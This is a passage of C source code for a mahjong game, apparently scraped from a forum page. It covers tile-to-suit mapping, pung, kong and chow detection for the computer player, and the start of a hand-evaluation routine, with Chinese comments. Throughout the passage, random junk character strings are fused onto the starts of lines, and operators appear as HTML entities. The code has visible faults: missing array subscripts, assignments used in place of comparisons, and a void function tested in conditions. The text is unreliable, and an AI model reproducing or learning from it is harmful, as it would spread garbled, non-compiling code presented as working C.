: ^  L1 O6 J  [9 v8 t6 ]% c* `{
% [+ B+ F4 d! [6 ^3 {: i9 M  H$ rlgg=7;
0 u# O& n  v+ f& ?% S% q3 Lcomputer.pp.d[1]=7;
8 k2 [# Y0 G1 t7 `( l  @}
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
9 \/ A) M2 b) l: }3 y1 C6 \/ }{
lgg=8;
computer.pp.d[1]=8;
* a: O2 E6 T( i% h$ `}
4 Z9 V# W. j2 |! f7 }6 Pelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)
7 T" ~9 Y# E+ y{
lgg=9;
computer.pp.d[1]=9;
2 Q7 O# D5 P' m: }6 M) ~; ~}
1 ~+ D9 D# Y, f4 x}
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
{
lg=3;
computer.pp.d[0]=3;
if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
{
, I) k4 O9 D$ F6 _0 h/ O% R% v0 tlgg=1;
4 k# I; k$ S& J+ F7 |computer.pp.d[1]=1;
( K/ h6 L  }& i}
! P7 a5 \: ^9 oelse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
; K- V2 Q6 W: y/ x6 d; T1 t8 S{
lgg=2;
) [/ _, K4 ?2 Hcomputer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)
{
! Q6 v" G; {* N! nlgg=3;
# l' x( U3 e$ i9 n7 r9 K) ?computer.pp.d[1]=3;
' |! m+ M4 x' Y) Z}
1 K& F) t+ s0 e. Q  G& b0 w. Zelse if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)
2 B8 P8 F: y! R; ~4 p" Z, |0 B{
lgg=4;
5 d( r5 V, c5 c" |+ zcomputer.pp.d[1]=4;
( q- i, j% \2 V1 V! T}
& q! h% f6 D2 r% y+ j% B. a+ Delse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
( I0 b" y' W, k) w* M{
1 D( Y% g7 y9 a3 a3 zlgg=5;
7 x( Q: U( M; E0 b" U, R0 Tcomputer.pp.d[1]=5;
( Z/ a6 F# ?) b5 C+ Z}
0 F# G* c/ m: Z; T, C3 c7 f1 Helse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
{
7 l, u: v- o" o1 e) B; Y; zlgg=6;
computer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
{
lgg=7;
5 F7 w7 n0 j( a9 I! j" `, Ncomputer.pp.d[1]=7;
! L( H- `+ m1 P0 p4 [+ N0 _}
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
0 i* z7 K1 |3 \9 ~7 A- K{
lgg=8;
& ^: g% m$ ?( X  G/ V# C. C1 ^computer.pp.d[1]=8;
) H$ n- ]7 U1 m' c}
8 |4 ]6 B$ u5 L  ]( Aelse if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
{
lgg=9;
computer.pp.d[1]=9;
1 [0 c+ Y. H, f) ?}
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
{
$ w  }! h$ }, W7 S* Xlg=4;
computer.pp.d[0]=4;
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
{
lgg=1;
! A$ [2 X! C3 e0 L, Scomputer.pp.d[1]=1;
}
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
{
lgg=2;
computer.pp.d[1]=2;
}
else if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
{
. C8 d, _* W5 m8 k( ?: k# x+ Jlgg=3;
computer.pp.d[1]=3;
}
, Y7 D# B2 z' e" d5 {  oelse if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)
, ~  ?% X9 y: e/ f; N{
. O! Q- n& p3 E9 hlgg=4;
  q2 p* X8 b8 ycomputer.pp.d[1]=4;
}
* x; Y! ~. |7 {0 l7 ?' `7 u: ?else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
{
  `7 q& Y2 f. hlgg=5;
computer.pp.d[1]=5;
}
3 {5 a" u" Z% |+ B2 y+ \1 Qelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)
, }$ _" N$ k2 a9 D7 q) \, R{
' d! M% E( _$ B6 j% @lgg=6;
computer.pp.d[1]=6;
}
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
{
lgg=7;
) j4 t7 W7 ~0 Dcomputer.pp.d[1]=7;
}
}
, q7 X# j+ D$ c& `- Q1 z
+ L$ X; D: K  N8 oif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
if(logoo==lgg)
- \" P" _& U( `, R- I. gpg++;
ch.lg=lg; /*保存电脑手里的每张牌的信息*/
2 q/ X9 ^, R% l* uch.lgg=lgg;
lg=0;
lgg=0;
3 S5 }: D' Z, l& j) ~& s" Ab++;
  }( Q' H3 t: N  x}
if(pg==2) /*乓*/
% j3 g+ ~# }  X- _{
6 k" g, C3 A) D
sing=1;
b=computer.m;
while(b!=-1)
{
' A3 s1 W: Q. ^; j3 Vif(strcmp(me.pp[c].k,computer.pp.k)==0)
, H6 N  k1 b) x2 I+ Q, Z* j. Mcomputer.pp.p=1;
$ m/ c& h: P1 I: \: a
b--;
3 h) S6 X+ S( k. |}
0 X+ }8 B% Z( K}
3 h- K. \% }* x6 W& cif(pg==3) /*杠*/
{

sing=2;
b=computer.m;
' g7 y: |/ |" l; v/ `while(b!=-1)
  D( ^+ [4 w+ A* B5 T# I' y! |0 h{
, N$ M6 h, F  y7 _if(strcmp(me.pp[c].k,computer.pp.k)==0)
computer.pp.g=1;
9 W' l& L4 H3 J/ T3 |" u! Yb--;
1 H4 ^& r/ I& X& f' J) a}
}
f=0;
while(f&lt;computer.m) /*吃的判断*/
9 A2 ~" R4 V9 u9 @# w4 \' A{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
2 x! k' E$ P" h0 {{
3 ?/ s! w3 x: p( v: l% G. S: Gif(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
if(ch[f].lgg-logoo==1)
' C2 G/ k6 O4 D  t5 [{
6 J: A) z/ {2 E- f7 D! h. |3 X+ I8 Ygp++;
1 B: _# q, T, l! a$ ~; pcomputer.pp[f].c=1;
, c) a' o/ W% ?/ r- Scomputer.pp[f+1].c=1;
}
8 c: G2 ^) h6 m. `6 yif(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
if(ch[f+1].lgg-logoo==-1)
' C$ c! x, m# T. _- K5 J{
gp++;
) E8 e) [! s, s/ R' Q* y3 w: g4 Hcomputer.pp[f].c=1;
computer.pp[f+1].c=1;
( y+ v. K7 s  U5 {8 V) b9 V" C, u}
5 Q( _/ e& f1 @if(ch[f].lgg-logoo==-1) /*中吃*/
if(ch[f+1].lgg-logoo==1)
4 w( r: w7 s/ ~{
. B% p4 `& B( w* X$ Y4 _gp++;
4 I4 ~2 K0 a# K* h5 Z) A9 ~/ fcomputer.pp[f].c=1;
% L4 j7 g! Q  N1 p; c# \# O& p6 Ycomputer.pp[f+1].c=1;
$ J2 k5 w) E3 i}
- ?  E7 ~! K7 m' `* m  `: z, eif(gp==1)
; ]. C& r! v2 Z& v4 s3 ~0 Ebreak;
}
f++;
}
if(gp==1)
{sing=7;
, q& d. T" L* \* U5 E8 [, a) ^0 x
5 ]5 j2 Q7 Z; g* B) a1 G/ H}
pg=0;
! R5 N8 ^2 f0 ?% Agp=0;
  p) q8 K6 P% u9 d5 Qb=0;
3 T' C3 ^7 P/ d" P}
void rgznme(int c) /*本程序涵数的核心针对我的牌*/
/ j' u8 Q! u7 ~$ v! H" g{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)
- r/ S  J- R7 s; D" g{
7 g+ L/ {: U! i$ \logo=1;
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)
logoo=1;
, t( t2 t( I; helse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)
logoo=2;
, v& n$ I/ b$ [) g6 Eelse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
logoo=3;
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
6 y4 k* X* \1 s, X9 s  elogoo=4;
else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
: q+ C  U( ^  y0 j/ rlogoo=5;
else if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
; v, U3 H- g* Z$ v* O  n  Qlogoo=6;
. T8 S- L% B9 X8 Yelse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
- M; c3 k8 E6 \3 Z" s8 }' ^logoo=7;
, T" \. G' ^5 M/ melse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
, j1 k6 ]& k  ^1 H$ d+ plogoo=8;
, v3 S  X& I- W) `else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
! L; ~9 B& L# v& k$ q! E1 ]  {5 jlogoo=9;
3 Q) ]+ n. W, a6 A}
3 E6 @# @" B7 I8 q+ Q% C, M$ }9 Yelse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)
& w5 s  N# _9 w. M8 Z- x{
1 x$ v1 W; j5 ^logo=2;
( \  o: P& H8 c# p; zif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
, Q0 o) L8 D- r4 e+ ^" Alogoo=1;
; j( @) \! _3 N, V8 q: j  S* ~3 ]6 \else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
logoo=2;
else if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
( o8 }$ s: F. ?, F* \1 o* nlogoo=3;
else if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)
/ J) {/ k! P. a9 x" Wlogoo=4;
else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
5 ?9 j0 D' p6 R( s5 z8 nlogoo=5;
: T6 E) ?( _0 P, K9 `5 Selse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
logoo=6;
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
; l  V* X( Y! F2 [logoo=7;
7 U" f/ D0 I3 a$ J+ O7 J- _else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
logoo=8;
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
logoo=9;
}
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
{
6 i' O, O! ~. `( N0 H; x/ J7 Flogo=3;
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
logoo=1;
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
1 w6 {  A0 v; w$ F3 O2 }logoo=2;
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
logoo=3;
else if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
- f" S# K" Z" s  J- d% Ologoo=4;
else if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)
logoo=5;
6 e* a0 C8 {; T6 j4 H! t- pelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
logoo=6;
  Q0 |/ R+ v+ w# H" Oelse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)
logoo=7;
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
logoo=8;
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
' u, g; L4 a6 S- j' q5 F; Ulogoo=9;
}
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
{
8 P" D" \# [" l, S$ ~- x# y; Elogo=4;
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
logoo=1;
else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)
logoo=2;
0 d% X0 F/ ~! h3 Y7 r, \2 {else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
8 E  n: i# Z" M( w: \logoo=3;
/ |' E. M; v  A7 o+ ?else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)
logoo=4;
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)
9 R. T& O- ]( v$ ^, `logoo=5;
else if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
logoo=6;
7 N* s- T& V# g' t- Selse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
logoo=7;
7 g# Q; L' T9 G7 Q! N2 z+ ^0 b( G}
* D6 I. |, @' F! k2 Xwhile(b&lt;=me.m)
{
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/
{
' P5 X  |; E3 v' ~3 z8 i# e" b; Klg=1;
me.pp.d[0]=1;
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
+ l- |8 f4 @+ w{
# K* U0 k) j1 R4 rlgg=1;
3 n9 D, h# a2 M) B' g# eme.pp.d[1]=1;
}
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
{
/ {& S& L' C/ S/ z6 }) jlgg=2;
me.pp.d[1]=2;
( |6 z: X! Y8 E/ [7 `9 j, A}
+ b* u6 O# y* M! y) p8 E; kelse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
6 p8 t. @% P$ _) \: H5 O{
- q1 j, s: V% S& E0 r  Xlgg=3;
me.pp.d[1]=3;
}
& U0 w% d1 L3 T5 zelse if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
{
& u9 E1 C2 a" t" B0 O# s) xlgg=4;
me.pp.d[1]=4;
}
* Z/ l8 F; i! t$ melse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
{
5 I# g; J$ g& o4 @. f( nlgg=5;
5 c/ g4 z) k1 [5 }& J8 r0 e) X8 {me.pp.d[1]=5;
0 J" z% \6 ^- C}
else if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
+ s# H( o+ X  E$ C{
lgg=6;
me.pp.d[1]=6;
}
# H* F! E9 U# f4 {else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
3 J3 x* _) _& e% S$ u{
lgg=7;
me.pp.d[1]=7;
}
) M) ?5 l2 ?- y6 }4 h# y+ ^' Velse if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
8 v9 ]- ?  I2 \2 s3 j- z{
3 ~& T" |) p: F& b' U% }lgg=8;
me.pp.d[1]=8;
! G  X1 Y% ?0 p  l+ h}
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
{
lgg=9;
$ H/ C+ A% K: [) R* Nme.pp.d[1]=9;
}
}
9 h2 x$ C8 X- E* Qelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
) j8 D: W! `* F{
- a- }. g/ h9 T( qlg=2;
* l% P8 i0 [# r- ome.pp.d[0]=2;
/ n8 D1 n1 t4 m2 i  M& Qif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
6 L& X7 w. K8 F/ G) T{
3 |4 X. M2 u; r- zlgg=1;
me.pp.d[1]=1;
- f* G* c; ^$ W5 g}
1 L- k8 ?  u9 V/ x( Z- relse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
# e* J& u8 ?* G% V5 ~7 s$ r{
: N' t; W: v& f4 ilgg=2;
& f% v! D7 r& P8 W9 Y4 cme.pp.d[1]=2;
}
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
{
7 }2 h" \' C8 R6 y+ [lgg=3;
me.pp.d[1]=3;
( O& R: V! Q, o3 u* w  _, K}
# U+ ^3 U3 n9 w+ f4 A+ R8 C. ielse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)
{
4 W4 h$ M: T& {1 R6 Mlgg=4;
& F# |% I8 y: Q) mme.pp.d[1]=4;
- N( u7 T9 o3 w% w2 }}
' e+ m  \+ f8 `" N# C6 W, Yelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
7 Y  n# ~- ^2 s% W6 d3 G0 T( q5 p{
lgg=5;
me.pp.d[1]=5;
: N  T, _8 D) Z7 G( E$ m' \' c* ?}
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)
3 F+ A' K" `  F  l' E{
lgg=6;
me.pp.d[1]=6;
) {  o# K: `0 E2 n}
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
4 Y# F. s% T, w! q8 |* o0 c7 @( O{
& s6 _7 k' A2 K6 ^  U0 Hlgg=7;
* w8 T  T) {% o5 x5 u1 r) w% d: H* Lme.pp.d[1]=7;
}
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)
{
' v4 x& W' ]$ b/ A3 e+ k: L- ?lgg=8;
( P. `" w3 n$ h" c* N. b8 vme.pp.d[1]=8;
}
& O+ L, w) s% @else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
{
& {7 b; B( O! m. Y1 V0 a6 hlgg=9;
me.pp.d[1]=9;
  B0 r  W% L  {! i6 V! [8 E# a4 _}
}
" I5 L4 w; M6 x. r( F9 _& E3 \7 telse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
0 O- u) P3 e: w) ?: D{
lg=3;
me.pp.d[0]=3;
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
{
lgg=1;
+ x' }# N4 |4 Ume.pp.d[1]=1;
}
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)
{
lgg=2;
me.pp.d[1]=2;
}
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
# ^3 |! {/ t- f$ l( W- {2 e; y% P/ g' j{
lgg=3;
me.pp.d[1]=3;
}
else if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
4 g/ d9 K+ p! r{
lgg=4;
1 i7 a7 u4 ?& T0 n, @+ b1 Lme.pp.d[1]=4;
}
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
{
lgg=5;
me.pp.d[1]=5;
5 S# ^8 R  \; J# _}
$ ~5 v. I, O3 n+ [' c2 ?% zelse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
- D0 J1 m  ]: k/ m5 l1 N: d' z{
4 p7 w# H" r9 Z$ D4 a$ Wlgg=6;
me.pp.d[1]=6;
3 {' [, Q2 c9 e3 l}
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)
{
lgg=7;
0 W  C$ F7 l5 ~7 ^1 ~' Ime.pp.d[1]=7;
}
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
{
lgg=8;
, I0 u! h: ^* A1 q- l$ q0 zme.pp.d[1]=8;
3 {- T" G3 x  \$ s+ P4 o}
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
{
lgg=9;
3 X+ b" r) s- Gme.pp.d[1]=9;
. u- G  P& W. d  x}
: Q4 h, J. _! P; Q: W}
) O5 E7 r; p5 Q0 C" t9 felse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
+ H: ^- b$ O1 G4 S% j% ?  u: X8 t9 v{
, M  ~6 |( |( Dlg=4;
me.pp.d[0]=4;
if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
1 Q$ J& U' X+ L1 d( V+ ~) t8 v' y{
lgg=1;
5 P' E3 s- P8 b) u0 _4 jme.pp.d[1]=1;
}
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
" p; v6 d# l; b1 W: e. l9 `2 v{
+ I- b3 ~8 Y+ X8 g% n) ulgg=2;
me.pp.d[1]=2;
}
+ C7 K; W4 u& e- Xelse if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
{
/ w# B6 E  O" z# ~7 Z9 Olgg=3;
$ `7 H% s2 t# t7 {( U) x3 fme.pp.d[1]=3;
3 s: N, V- e& C+ R& n1 P- {* s5 k}
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
{
lgg=4;
- B# O5 S/ e& ~9 O! Qme.pp.d[1]=4;
}
; C7 {+ v. v3 R, z  r1 eelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)
: o8 l+ ?+ r7 _8 K{
8 ?% ]. W1 x5 t! h) Llgg=5;
, T6 v( G$ ?& H2 s0 Y3 Pme.pp.d[1]=5;
+ m4 y3 ^9 ]5 Q. F}
5 I* h. d6 p/ ]6 {4 C8 Qelse if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)
- r" O/ D4 p: M8 f& q! G( {{
& k8 K2 k) ~2 z/ {) `lgg=6;
me.pp.d[1]=6;
}
# T* T! R! Z1 \/ s/ E. ~else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)
$ q" K7 A, B4 b6 [) ^7 r) B6 ?! F{
3 I1 [! p. \, Clgg=7;
me.pp.d[1]=7;
$ h: R* Y6 l# c) j! o6 P}
6 Y) V8 r; J) F. j, W+ `}
5 m& Q  f9 E2 S) |" F  d0 _6 P& g}
}
: g5 S0 I/ e& u5 p( }( I" zvoid istwo(testt)
0 j9 ]1 p" S4 Q0 ?8 Qint testt[];
{ if(testt[0]==testt[1])
3 `% y2 e  K& `8 ^second++;
}
void isthree(testt,n)
int testt[],n=0;
9 d- z! `/ `% p, G6 x1 C{ int i,j,flage=0,lianx=0,same=0;
n=n/3;
6 m2 X# O  I# X( `3 b3 \for(j=0;j&lt;n;j++)
{
for(i=j*3;i&lt;2+j*3;i++)
+ I" s; R% c' D/ y" ^{
if(testt==testt[i+1])
same++;
if(testt[i+1]-testt==1)
lianx++;
  X# E+ O) ^+ n& B$ L}
' n2 c$ ~' ]& X: J( N3 a+ iif(same==2)
threes++;
2 A* l" a- }+ }6 d& W% Eif(lianx==2)
threes++;
4 a& Q& \6 M* w  a4 D) N0 usame=0;
7 M" s  r& t- ]6 p; ulianx=0;
}
2 ]) }  K% @  y, G+ B4 D7 u1 m; e; o}
: G' }$ h2 m! X7 C" Evoid panduan() /*本程序的精髓*/
6 }. y4 m" p/ D/ S4 _9 ]{int data[14];
9 X  L) Q8 q7 y$ p; Cint pw[14];
int pt[14];
( F/ A' p& D. ]int pi[14];
, l/ r$ }2 h! Z1 u2 J8 ?) uint pf[14];
3 I# N7 H, p7 D0 e' i# A1 Qint test[12];
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
( m# l& [6 r$ G1 pfor(jj=0;jj&lt;=me.m;jj++)
  [: l' F+ Q1 {  P{
8 f# \) `4 m4 s1 p6 v. tif(me.pp[jj].d[0]==1)
  H* e3 r! l7 C0 K* ~( J) Hdata[jj]=me.pp[jj].d[1];
/ u% F' T( V  j( l" i  a6 _- L' t$ K/ Qif(me.pp[jj].d[0]==2)
data[jj]=me.pp[jj].d[1]+10;
/ d% ^5 D: \" ~0 `( ~: g) M7 ^if(me.pp[jj].d[0]==3)
: u9 X& D. p, `. j* X1 Hdata[jj]=me.pp[jj].d[1]+20;
if(me.pp[jj].d[0]==4)
data[jj]=me.pp[jj].d[1]+30;
}
if(logo==2)
w=logoo+10;
" M3 E% [8 k  A# I7 V! Qif(logo==3)
9 I1 Y) J5 m, R+ G, Fw=logoo+20;
if(logo==4)
w=logoo+30;
3 u9 c. D9 ]& r0 F5 E. P2 j* pdata[computer.m+1]=w;
for(mm=0;mm&lt;=computer.m;mm++)
for(nn=mm;nn&lt;=computer.m;nn++)
1 p7 o: P! x1 [4 g1 @& Rif(data[mm]&gt;data[nn+1])
& e  P( O5 v3 k1 S. s0 V9 h" f{
4 c8 h1 I" r: y  u. v" rtpp=data[mm];
data[mm]=data[nn+1];
8 Y) J% G$ [/ S; R2 ?( Adata[nn+1]=tpp;
' S9 u$ K1 W( M6 R1 t}
lp=0;
while(lp&lt;=computer.m)
{ if(data[lp]&lt;10)
0 r) v: @5 ]: Z- E* Bpw[ww++]=data[lp];
- B+ T' X! v  E- Z+ W" \$ sif(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
pt[tt++]=data[lp];
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
pi[ii++]=data[lp];
; H) T! A9 d! `+ l( e" ]0 Pif(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
. c: N7 Y0 x% X& h4 Q. r% r! Wpf[ff++]=data[lp];
lp++;
}
if(ww==2)
) |( V2 u* x$ O. ^: i: P( @istwo(pw);
6 W6 t5 Z3 r0 x% ?$ D! Felse if(ww==3)
0 l+ |' _) R" f& x* sisthree(pw,ww);
4 i, _. X2 ~2 `else if(ww==5)
. C; m. x1 d+ T, o# H/*pw[5]原始牌数组，假设已经升序排列*/
! \' t' T6 g( U  |; b/*test[3]用来放置测试牌的数组*/
for(i=0;i&lt;4;i++)
{
6 z6 e* r6 q, T  @7 P2 Gfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
1 V) z1 E3 v' R, S. b}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
7 ]. ?2 Y) n2 g* G( ~- |{if(kl==i)
3 c- @' o. c4 U/ W8 r{
1 |& l: n. R; A! \- z* @kl=kl+2;
" M* y! \: Q5 U* v& Y: }if(kl==5)
, ]# c$ m1 W! B0 a! Y9 [7 [; |break;
! k: `, U# N5 p}
9 [# `4 R) @9 K+ G; }# z* H- m8 Utest[ill++]=pw[kl];
}
' p4 F0 K/ U7 @; {isthree(test);
: G4 y9 a& q2 u0 h$ r' n% s5 R}
* B5 f6 t0 Y6 K8 ?! M" f0 I$ Z9 l}
else if(ww==6)
* @- M; V) k0 k# }* P, N) uisthree(pw,ww);
0 U/ X  q: H* V. lelse if(ww==8)
for(i=0;i&lt;7;i++)
{
2 `1 V7 J+ n5 b' w4 H7 o' R% J( cfor(j=0;j&lt;2;j++)
{test[j]=pw[i+j];
- L; u0 F- E  @: e; {4 r}
if(istwo(test))
4 j( _) m/ K0 g/ R/ z{ ill=0;
, @$ [2 @8 y: `( Q! Ufor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
/ [$ w4 c* p$ B+ ]5 z# J+ ?* _{if(kl==i)
( X' X7 Y6 |. _! C& v: x8 W{
kl=kl+2;
if(kl==8)
break;
" d3 U5 \# {# }( c/ C3 ~}
0 D6 x8 N4 A* v6 r& L' K. utest[ill++]=pw[kl];
  }5 u" v; A" a2 Q7 ?}
isthree(test,ww-2);
}
% u7 u$ ~4 m% D7 p+ S}
else if(ww==9)
: P  G7 l% W9 Disthree(pw,ww);
$ P8 U9 Y2 Q$ i& X8 \else if(ww==11)
for(i=0;i&lt;10;i++)
6 }+ c/ Z# Y. k$ R8 u{
) Q3 o; y5 e: M0 ?' u4 C! y; g+ Xfor(j=0;j&lt;2;j++)
/ [7 P. [; l" W* r* D{test[j]=pw[i+j];
}
; |$ B' X$ [. `if(istwo(test))
' J' C. J7 y& C4 s( X{ ill=0;
7 _* N3 [- x2 lfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
{
* N; Z' |3 @" h* |0 a% Pkl=kl+2;
3 k6 A, H3 l: Z* a( c$ \4 Yif(kl==11)
break;
}
test[ill++]=pw[kl];
}
1 Z- C2 D' J+ E; eisthree(test,ww-2);
}
}
else if(ww=12)
  G& l" i7 ?$ b( I$ f. ]  E) Yisthree(pw,ww);
else if(ww=14)
5 b8 J" r, H- I/ A# e8 Pfor(i=0;i&lt;13;i++)
% u9 I5 [; O' U! F4 J{
3 ]1 Z' j6 |  c; |for(j=0;j&lt;2;j++)
2 q: n# w; y) E2 l/ N{test[j]=pw[i+j];
8 y: _' n5 Y! ?& [; s}
  d( I4 H% G( Z3 Y7 b# J" Z5 nif(istwo(test))
4 y: v6 |. l' W% F& h( E{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
0 N1 S# v4 |5 N{if(kl==i)
1 s  O; L4 R+ Z& |{
kl=kl+2;
! C$ K9 o1 P1 T# V# u/ Rif(kl==14)
break;
}
test[ill++]=pw[kl];
}
2 Y9 d' B* C: w7 Y4 ~4 O- K3 m  l* C6 Oisthree(test,ww-2);
, F- r# D" X4 l# K+ N8 o1 X8 \9 `}
% q7 m) }  L; h% \" [/ N}
, E/ G3 C' ?2 {7 I9 o5 F9 d! n, Uif(tt==2)
istwo(pt);
1 j2 h& g) G  ?$ belse if(tt==3)
, K4 \3 Z& K3 M8 @isthree(pt,tt);
else if(tt==5)
/*pt[5]原始牌数组，假设已经升序排列*/
/*test[3]用来放置测试牌的数组*/
